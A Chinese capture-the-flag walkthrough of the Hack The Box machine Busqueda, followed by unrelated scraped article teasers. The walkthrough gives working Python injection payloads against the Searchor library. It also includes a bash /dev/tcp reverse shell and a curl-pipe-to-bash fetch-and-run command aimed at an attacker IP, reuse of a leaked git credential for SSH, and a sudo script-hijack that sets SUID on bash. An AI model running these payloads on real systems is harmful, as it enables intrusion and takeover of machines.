HTB靶场之Busqueda

准备:

攻击机:虚拟机kali和win10(常规操作就直接用本机win10来操作了)。

靶机:Inject,htb网站:http://www.hackthebox.com/,靶机地址:http://app.hackthebox.com/machines/Busqueda。

知识点:命令执行、敏感信息发现。

备注:这个说难也难说简单也是很简单,如果要通过命令执行来进行shell反弹可能会有点难度,但是如果通过发现的密码直接去登录就是比较简单的。

一:信息收集

1.nmap扫描

使用nmap扫描下几个常见的端口和对应的服务信息,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.dns解析

访问80端口的web服务时直接跳转到了:http://searcher.htb/,因此需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:10.10.11.208 searcher.htb。

二:信息利用

1.bp抓包

随便进行一个搜索并抓取数据包,然后修改参数1为1'时,返回的信息发生变化,那这里有可能存在注入,但是经过后续测试发现不是sql注入。

2.命令执行

后面在首页发现一个执行github的连接,http://github.com/ArjunSharda/Searchor,在该链接中找到了思路。

该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路并在python中进行测试,发现当传递的参数为:1'+print('1')+'时会将print中的字符串进行输出,说明进行了命令执行。

#我们先是传入了一个值给参数query
query = '1'
#然后将我们的参数带入到下面并进行返回
Engine.Google.search(query)
#所以在我们传输1'的时候会进行报错,传入1''的时候又会恢复正常

然后依据格式修改语句在本地进行命令执行,将语句修改为:1'+__import__("os").system("calc.exe")+',成功打开计算器。

然后在抓取的数据包中进行测试,将输入的数据修改为:1'+print('234')+',但是并未执行print语句。后面对+进行了编码后:1'%2bprint('234')%2b',print命令可以正常执行。

3.shell反弹

确定了命令执行的语句格式:1'+__import__("os").system("calc.exe")+',那我们就进行shell反弹,语句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1'%2bprint(__import__('os').system("id"))%2b',不过这里发现了用户名:svc。

无法反弹shell,那就先查看下是否存在别的可以利用的信息,传递参数:1'%2bprint(__import__('os').system("ls -al"))%2b',发现app.py文件,读取该文件信息:1'%2bprint(__import__('os').system("cat app.py"))%2b',获得app.py内容,但是并没有获取到什么有用的信息。

app.py内容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', options=Engine.__members__, error='')

@app.route('/search', methods=['POST'])
def search():
    try:
        engine = request.form.get('engine')
        query = request.form.get('query')
        auto_redirect = request.form.get('auto_redirect')
        
        if engine in Engine.__members__.keys():
            arg_list = ['searchor', 'search', engine, query]
            r = subprocess.run(arg_list, capture_output=True)
            url = r.stdout.strip().decode()
            if auto_redirect is not None:
                return redirect(url, code=302)
            else:
                return url

        else:
            return render_template('index.html', options=Engine.__members__, error="Invalid engine!")

    except Exception as e:
        print(e)
        return render_template('index.html', options=Engine.__members__, error="Something went wrong!")

if __name__ == '__main__':
    app.run(debug=False)

 继续读取.git目录下的内容,在config文件中发现:http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,发现cody:jh1usoih2bkjaspwe92像是一组账户名,gitea.searcher.htb应该是一个子域名,但是/etc/passwd文件中显示不存在cody账户,存在svn账户,因此使用svc/jh1usoih2bkjaspwe92进行ssh连接,命令:ssh svc@10.10.11.208,成功获得shell权限。

/etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

后面又想到上面既然有命令执行的漏洞了,没道理反弹不了shell啊,就在网上查找资料发现了subprocess函数,我们可以利用如下格式:eval(complie(“要执行的代码”),“<String>”,“exec”)进行shell反弹,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功获得shell权限。

三:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。

查看system-checkup.py文件,显示我们缺少相关的查看权限,那就执行下命令,看有什么提示。

在执行第三个命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的时候告诉我们存在一些错误(因为开始我忘记了切换目录)而并不是权限问题导致无法执行。

报错之后就切换到/opt/scripts目录,发现full-checkup.sh脚本,重新执行上面的命令,发现正常执行,那这里就想到他是调用了full-checkup.sh脚本。

在执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup时他调用的是执行目录下的full-checkup.sh,因此我们就可以在/tmp目录下创建一个full-checkup.sh文件来写入提权命令:chmod +s /bin/bash。这里使用的是wget上传到靶机,然后赋予执行权限(注意下该文件会被删除,如果被删除就重新上传),然后执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功获得root权限。

获得root权限后在/root目录和/home/svc目录下分别读取下root.txt、user.txt文件,成功获得两个flag值。

本文转载于网络 如有侵权请联系删除

相关文章

  • 亿级京东应用架构设计与治理

    经过十年的业务快速发展,京东信息系统复杂度越来越高:一般电商系统只需关心“进销存”中的“销”,京东系统需要管理采购(进)、销售(销)和库存(存)三个环节。系统做水平垂直拆分后,需要解决系统间如何解藕、如何保证高效通讯、如何保证数据的一致性、服务如何治理等问题。本内容包括:京东架构愿景,描述京东多、快、好、省的架构目标;架构原则,列举京东应用架构需要遵循的原则,来保证系统的高可用性,并降低系统的复杂度;架构实现,介绍京东应用系统结构,并分析设计理由;架构治理,引入应用的血缘和影响分析,做架构治理,提高系统的稳定性。

  • 大数据必学Java基础(三十四):面向对象内存分析

    ​面向对象内存分析一、分析代码1publicclassPerson{ intid; intage; publicstaticvoidmain(Stringargs[]){ Personp1=newPerson(); } }复制内存分析二、分析代码2publicclassPerson{ intid; intage; Stringschool; publicPerson(inta,intb,Stringc){ id=a; age=b; school=c; } publicstaticvoidmain(Stringargs[]){ Personp=newPerson(1,20,"海淀"); } }复制内存分析三、分析代码3classPerson{ intid; intage; Stringschool; Person(inta,intb,Stringc){ id=a; age=b; school=c; } publicvoidsetAge(inta){ age=a; } }复制publicclassTest{ publicstaticvoidmain(String[]

  • 6 人被判:抢挂号、犯非法控制计算机信息系统罪

    被告人:刘某某,男,1979年出生;孙某某,男,1993年出生;刘某2,男,1990年出生;刘某3,男,1981年出生;刘某4,男,1990年出生;于某某,男,1967年出生。法院查明事实2019 年至 2021年间,刘某某为提高挂号率,要求孙某某为其制作空军总医院APP、肿瘤医院挂号平台、“114”挂号平台等软件,后利用上述软件长期大量抢占中国医学科学院肿瘤医院等医院的挂号资源并有偿向他人提供,违法所得至少人民币39万余元。孙某某负责制作上述软件并对其进行不定期维护,违法所得9万余元。刘某4使用刘某某向其提供的空军总医院APP,同时向刘某某买号,帮助刘某某卖号,与刘某某共同违法所得1万余元。于某某明知刘某某利用软件抢号,仍向其买号,与刘某某共同违法所得3万余元。2019 年至 2021年间,刘某3向他人购买“114”平台抢号软件长期抢占中国人民解放军空军总医院等医院的挂号资源并有偿向他人提供,违法所得至少人民币4万余元。2020年9月至2020年 12月间,刘某2向他人购买“114”平台抢号软件长期抢占中国人民解放军空军总医院、中国医学科学院广安门医院等医院的挂号资源并有偿向他人提供

  • python抢淘宝的东西-Python 实现毫秒级淘宝抢购脚本的示例代码

    大家好,又见面了,我是你们的朋友全栈君。本篇文章主要介绍了Python通过selenium实现毫秒级自动抢购的示例代码,通过扫码登录即可自动完成一系列操作,抢购时间精确至毫秒,可抢加购物车等待时间结算的,也可以抢聚划算的商品。博主不提供任何服务器端程序,也不提供任何收费抢购软件。该文章仅作为学习selenium框架的一个示例代码。该思路可运用到其他任何网站,京东,天猫,淘宝均可使用,且不属于外挂或者软件之类,只属于一个自动化点击工具,如有侵犯到任何公司的合法权益,会第一时间将相关代码给予删除。直接上源码:#!/usr/bin/envpython#-*-coding:utf-8-*-#2019/03/16#淘宝秒杀脚本,扫码登录版fromseleniumimportwebdriverimportdatetimeimporttimedeflogin():#打开淘宝登录页,并进行扫码登录browser.get(“https://www.taobao.com”)time.sleep(3)ifbrowser.find_element_by_link_text(“亲,请登录”):browser.f

  • 红蓝对抗中的云原生漏洞挖掘及利用实录

    1、背景2020年年末的时候,我们于CIS2020上分享了议题《AttackinaServiceMesh》讲述我们在近一年红蓝对抗演练中所遇到的云原生企业架构以及我们在服务网格攻防场景沉淀下来的一些方法论。回顾近几年腾讯蓝军在云原生安全上的探索和沉淀,我们在2018年的时候开始正式投入对Serverless和容器编排技术在攻防场景的预研,并把相关的沉淀服务于多个腾讯基础设施和产品之上,而在近期内外部的红蓝对抗演练中腾讯蓝军也多次依靠在云原生场景上的漏洞挖掘和漏洞利用,进而突破防御进入到内网或攻破核心靶标;特别是2020年度的某云安全演习更是通过云原生的安全问题才一举突破层层对抗进入内网。本篇文章我们想聚焦于攻防对抗中所沉淀下来的漏洞,分享我们在多处攻防场景所遇到的云原生相关的漏洞挖掘和漏洞利用实例。注:本材料所有内容仅供安全研究和企业安全能力建设参考,请勿用于未授权渗透测试和恶意入侵攻击。2、攻防演练中的云原生安全CNCF(云原生计算基金会CloudNativeComputingFoundation)在对云原生定义的描述中提到“云原生的代表技术包括容器、服务网格、微服务、不可变基础设施

  • python 基于opencv 绘制图像轮廓

    这篇文章主要介绍了python基于opencv绘制图像轮廓的示例,帮助大家更好的利用python的opencv库处理图像,感兴趣的朋友可以了解下图像轮廓概念 轮廓是一系列相连的点组成的曲线,代表了物体的基本外形。 谈起轮廓不免想到边缘,它们确实很像。简单的说,轮廓是连续的,边缘并不全都连续(下图)。其实边缘主要是作为图像的特征使用,比如可以用边缘特征可以区分脸和手;而轮廓主要用来分析物体的形态,比如物体的周长和面积等,可以说边缘包括轮廓。寻找轮廓的操作一般用于二值图像,所以通常会使用阈值分割或Canny边缘检测先得到二值图。 注意:寻找轮廓是针对白色物体的,一定要保证物体是白色,而背景是黑色,不然很多人在寻找轮廓时会找到图片最外面的一个框。opencv找出图像轮廓 使用cv.findContours()寻找轮廓:importcv2ascvimportnumpyasnpimg=cv.imread('j.png')img_gray=cv.cvtColor(img,cv.COLOR_BGR2GRAY)ret,thresh=cv.threshold(img_gray,0,2

  • 一文讲透 “进程、线程、协程”

    本文从操作系统原理出发结合代码实践讲解了以下内容: 什么是进程,线程和协程?它们之间的关系是什么?为什么说Python中的多线程是伪多线程?不同的应用场景该如何选择技术方案?...什么是进程进程-操作系统提供的抽象概念,是系统进行资源分配和调度的基本单位,是操作系统结构的基础。程序是指令、数据及其组织形式的描述,进程是程序的实体。程序本身是没有生命周期的,它只是存在磁盘上的一些指令,程序一旦运行就是进程。当程序需要运行时,操作系统将代码和所有静态数据记载到内存和进程的地址空间(每个进程都拥有唯一的地址空间,见下图所示)中,通过创建和初始化栈(局部变量,函数参数和返回地址)、分配堆内存以及与IO相关的任务,当前期准备工作完成,启动程序,OS将CPU的控制权转移到新创建的进程,进程开始运行。操作系统对进程的控制和管理通过PCB(ProcessingControlBlock),PCB通常是系统内存占用区中的一个连续存区,它存放着操作系统用于描述进程情况及控制进程运行所需的全部信息(进程标识号,进程状态,进程优先级,文件系统指针以及各个寄存器的内容等),进程的PCB是系统感知进程的唯一实体。一

  • Git 常用命令

    Git简介Git-分布式版本控制系统,每台电脑上都可以离线存一个仓库,但总是设立一台服务器作为远程库 SVN-集中式版本控制系统,无本地仓库,pushpull必须通过中央服务器基本操作gitinit#初始化,创建仓库 gitadd.#添加所有文件(添加单一文件写文件名)到缓存区 gitcommit-m"message"#将缓存区所有任务保存到仓库,并添加本次修改的信息(注释) gitstatus #查看当前仓库状态,会显示无修改、有修改但未提交缓存、提交缓存但未提交仓库多种状态 gitdiff<filename>#查看当前文件与最新版本的差异 gitlog#显示历史记录 gitlog--pretty=oneline#一行显示历史记录(显示全部id) gitlog--oneline#一行显示历史记录(显示id前7位) gitreflog#显示所有命令记录 gitlog--graph#显示分支合并图 gitreset--hard<commitID>#退回某一版本,HEAD为最新版本 gitcheckout--<filename&g

  • 你的Kubernetes存储问题的一个完整的存储指南

    作者:ChadSerino,AlphaBravo首席执行官随着Kubernetes作为托管基于微服务的进程的方法的兴起,数据存储一直是一个问题。储存在哪里。我们有多大的容量。以及我们如何计划检索它。这些问题的答案似乎就是两个简单的词:persistentstorage(持久存储)。容器已经成为一种将软件移植到需要它的地方的方法。带有运行服务所需数据的容器被部署到各种计算机系统上,这意味着现在的数据比以前可移植性好得多。但是,当涉及到Kubernetes时,持久性存储是什么呢?数据管理人员如何充分利用他们的Kubernetes系统?这样一个系统的整体效益是什么?https://alphabravo.io/加入我们,今天,准备好去发现吧!Kubernetes解释:简单回顾一下如果你管理日常基础设施的任何一部分,你可能听说过Kubernetes。这种不断发展的技术已经通过技术巨头和初创公司的等级来实现敏捷的、可扩展的应用程序工作。但是Kubernetes是什么呢?一种管理系统,用于跨节点集群的容器化应用程序。https://kubernetes.io/docs/concepts/overvi

  • Groovy语法系列教程之集合(六)【完结】

    Groovy语法概述 本系列教程介绍Groovy编程语言的语法。Groovy的语法源自Java语法,但是通过特定类型对其进行了增强,并允许进行某些简化。Groovy集合包括列表(Lists)、数组(Arrays)、映射(Maps)三种类型。7.列表Groovy使用逗号分隔的值列表(用方括号括起来)表示列表。Groovy列表是JDK原生的java.util.List,Groovy并未定义自己的集合类。定义列表文字时使用的具体列表实现默认情况下为java.util.ArrayList,除非您决定另行指定,我们在后面也很介绍。defnumbers=[1,2,3] assertnumbersinstanceofList assertnumbers.size()==3 复制我们定义一个列表号,以逗号分隔并用方括号括起来,然后将该列表分配给变量该列表是Java的java.util.List接口的一个实例列表的大小可以使用size()方法查询,我们的列表包含3个元素在上面的示例中,我们使用了同类型列表,但您也可以创建包含不同类型值的列表:defheterogeneous=[1,"a&qu

  • rpm包管理基础

    rpm全称RPMPackageManager1.rpm包的查询常用的有:rpm-qa            #列出所有已安装的rpm包rpm-qizsh      #查询zsh的具体信息rpm-qf/bin/ls#查询/bin/ls由哪个软件包释放的rpm-qdzsh     #查询zsh提供哪些帮助文档rpm-qczsh     #查询zsh的配置文件地址rpm-qlzsh      #查询zsh安装过程中释放的文件路径不太常用的有:rpm-q--changelogzsh   #查询zsh软件包的变更记录rpm-q--requireszsh       #查询zsh依赖的其他软件包rpm-q--scriptszsh        #查询zsh包含的脚本【安装、卸载时候会调用这些脚本】另外,加上-p参数适用于尚未安装的软件包的信息查询,如:【注意加上-p参数后,后面接的是必须是完整的包名称】rpm-qpihttpd-2.2.15-39.el6.centos.x86_64.rpm          #查询httpd软件包的详细信息同理,-qpc,-qpl,-qpd,-qp--change

  • 独立开发unity2d游戏的问答群

    129443731 有志独立开发游戏的,只讨论最新的unity2d技术的。群里面主要已问答为主,喜欢聊天的就别加群了,灌水多了会被t。希望能对unity2d比较了解的已及喜欢学习的人加入。

  • pthread_cond_signal与pthread_cond_wait详解

    转:http://blog.chinaunix.net/uid-11572501-id-3456343.html //pthread_cond_signal只发信号,内部不会解锁,在Linux线程中,有两个队列,分别是cond_wait队列和mutex_lock队列,cond_signal只是让线程从cond_wait队列移到mutex_lock队列,而不用返回到用户空间,不会有性能的损耗。(pthread_cond_signalunlock后pthread_cond_wait才能上锁)   //pthread_cond_wait先解锁,等待,有信号来,上锁,执行while检查防止另外的线程更改条件   //循环判断的原因如下:假设2个线程在getq阻塞,然后两者都被激活,而其中一个线程运行比较块,快速消耗了2个数据,另一个线程醒来的时候已经没有新数据可以消耗了。另一点,manpthread_cond_wait可以看到,该函数可以被信号中断返回,此时返回EINTR。为避免以上任何一点,都必须醒来后再次判断睡眠条件。更正:pthread_cond_wait是

  • 个人博客迁移到github

    https://github.com/kongshuiJ/blog

  • 【HTTPS】1、使用jdk实现https接口调用和证书验证

    概述 我们之前调用https都是不做证书验证的,因为我们实现X509TrustManager方法的时候并没有具体实现里面的方法,而是不实现,那么这就会导致一个问题,那就是证书有正确性是没有得到有效验证的 常规的方法我们如果想验证的话,那就是不实现X509TrustManager,用jdk自带的方法进行接口调用,但是这个要求我们用keytools对第三方的证书进行导入,并且会对jdk自带的信任库有侵入性修改,这个软件每次安全都得重新导入对应的证书 那么有没有版本不需要手动导入操作,也能进行对端证书验证呢? 因为客户端证书是可以再浏览器上直接下载的,那么如果我们能用代码实现证书的下载,并且安装到本地,不就可以实现证书的自动安装了么?(当前这样做也不安全,因为并不是所有的证书都需要安装,但是我们可以加一个开关或者一个业务上配置,判断那些网站是可以信任,那些不需要信任,然后对信任的网站进行自动证书安装) 当前这样做也不安全,因为并不是所有的证书都需要安装,但是我们可以加一个开关或者一个业务上配置,判断那些网站是可以信任,那些不需要信任,然后对信任的网站进行自动证书安装 当然如果是互联网这个做

  • Taro框架---左滑动删除

    index.js importTaro,{Component}from'@tarojs/taro' import{View,ScrollView}from'@tarojs/components' import'./index.less' exportdefaultclassIndexextendsComponent{ config={ navigationBarTitleText:'首页' } state={ animation:'', startX:0,//开始坐标 startY:0, } componentWillMount(){} componentDidMount(){ //页面渲染完成 //实例化一个动画 letanimation=Taro.createAnimation({ duration:400, timingFunction:'linear', delay:100, transformOrigin:'lefttop0', success:function(res){ console.log(res) } }) this.setState({ anima

  • 【色彩理论】基本概念

    本文介绍色彩理论(ColorTheory)基本概念和配色方案,转述Youtube上Carolina的教学[1]。 Carolina的图示用的色轮是绘画色轮。 基本概念有: 原色(Primarycolor) 二次色(secondarycolor) 三次色(Teriarycolor) 颜色的温度(temperature) 单色(hue) 色彩饱和度(saturation)和灰调(tones) 灰度值(value) 暗调(shade) 亮调(tint) 之后,基于这些术语,定义的配色方案(colorscheme)相关的概念: 单色系配色方案(MonochromaticScheme) 互补色配色方案(Complementarycolors) 邻近色配色方案(AnalogousScheme) 正三角形配色方案(TriadicScheme) 互补色的相邻色配色方案(Split-ComplementaryScheme) 双互补色配色方案(TetradicScheme) 正方形配色方案(SquareScheme) 一.基本概念 1.原色(Primarycolor) 原色可以调配出任意

  • 将博客搬至CSDN

    欢迎更关注韦大仙,已将博客搬家到CSDN

  • TS基础

    1.为什么要学习TS   vue2.x中的组件是通过声明的方式传入一系列option,和TypeScript的结合需要通过一些装饰器的方式来做,虽然能实现功能,但是比较麻烦。   而3.0修改了组件的声明方式,改成了类式的写法,这样使得和TypeScript的结合变得很容易。   此外,vue的源码也改用了TypeScript来写。其实当代码的功能复杂之后,必须有一个静态类型系统来做一些辅助管理,如React使用的Flow,Angular使用的TypeScript。现在vue3.0也全面改用TypeScript来重写了,    更是使得对外暴露的api更容易结合TypeScript。静态类型系统对于复杂代码的维护确实很有必要。因此,我觉得TS对于前端从业者也是一个必须的基本技能。 2.什么是TS   TypeScript是JavaScript的一个超集,主要提供了类型系统和对ES6的支持,它由Microsoft开发,代码开源于GitHub

  • vc 关闭对话框几种方法

    转自:http://blog.csdn.net/j6915819/article/details/8664567 vc关闭对话框几种方法 注:以下代码以一个名为CTest6Dlg的对话框类为例 在任务栏隐藏对话框 ModifyStyleEx(WS_EX_APPWINDOW,WS_EX_TOOLWINDOW); 使对话框为顶层窗口 SetWindowPos(&this->wndTopMost,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE); 在运行时添加最大化,最小化按钮 SetWindowLong(this->m_hWnd,GWL_STYLE, GetWindowLong(this->m_hWnd,GWL_STYLE)| WS_MINIMIZEBOX|WS_MAXIMIZEBOX); UpdateWindow(); 使能对话框右上角关闭按钮 在OnInitDialog中 方法一: CMenu*menu=GetSystemMenu(FALSE); menu->ModifyMenu(SC_CLOSE,MF

  • P8245 [COCI2013-2014#3] PAROVI &amp; ZLOJ 练习62 D

    writtenon2022-08-09 一道有趣的计数题。 首先题面中最引人注目的就是两个整数的数据范围。很显然,暴力的思路,枚举所有数,找出每一位上每一种数字的个数这种方法是不可行的。 现在我们来思考一下暴力解法的瓶颈。如果我们延续“找出每一位上每一种数字的个数”这种思路的话,就必须舍去枚举所有数的过程,用高效的方式求解。 先设\(f_{x,i}\)表示\(L\)~\(R\)区间内,第\(x\)位,数字为\(i\)的数的个数。一开始想到数位\(\texttt{dp}\),进而发现该数组显然是满足区间可减性的。所以考虑分开计算两部分,那么重点即在于计算\(1\)~\(n\)中每一位数字为\(i\)的个数。 一下可能没有什么直观的思路,所以可以模拟一下一些数据观察其特性。这里直接给出结论,当然在此之前强烈建议先自己尝试模拟一下。 对于第\(x\)位的数,若\(n\)在这一位上的数字是\(s_i\),那么对于这一位上的某一种待统计的数字\(a\): 若\(a\lts_i\),则\(cnt=(pre_{i-1}+1)\times10^{len-i}\)。 若\(a=s_i\),则\

相关推荐

推荐阅读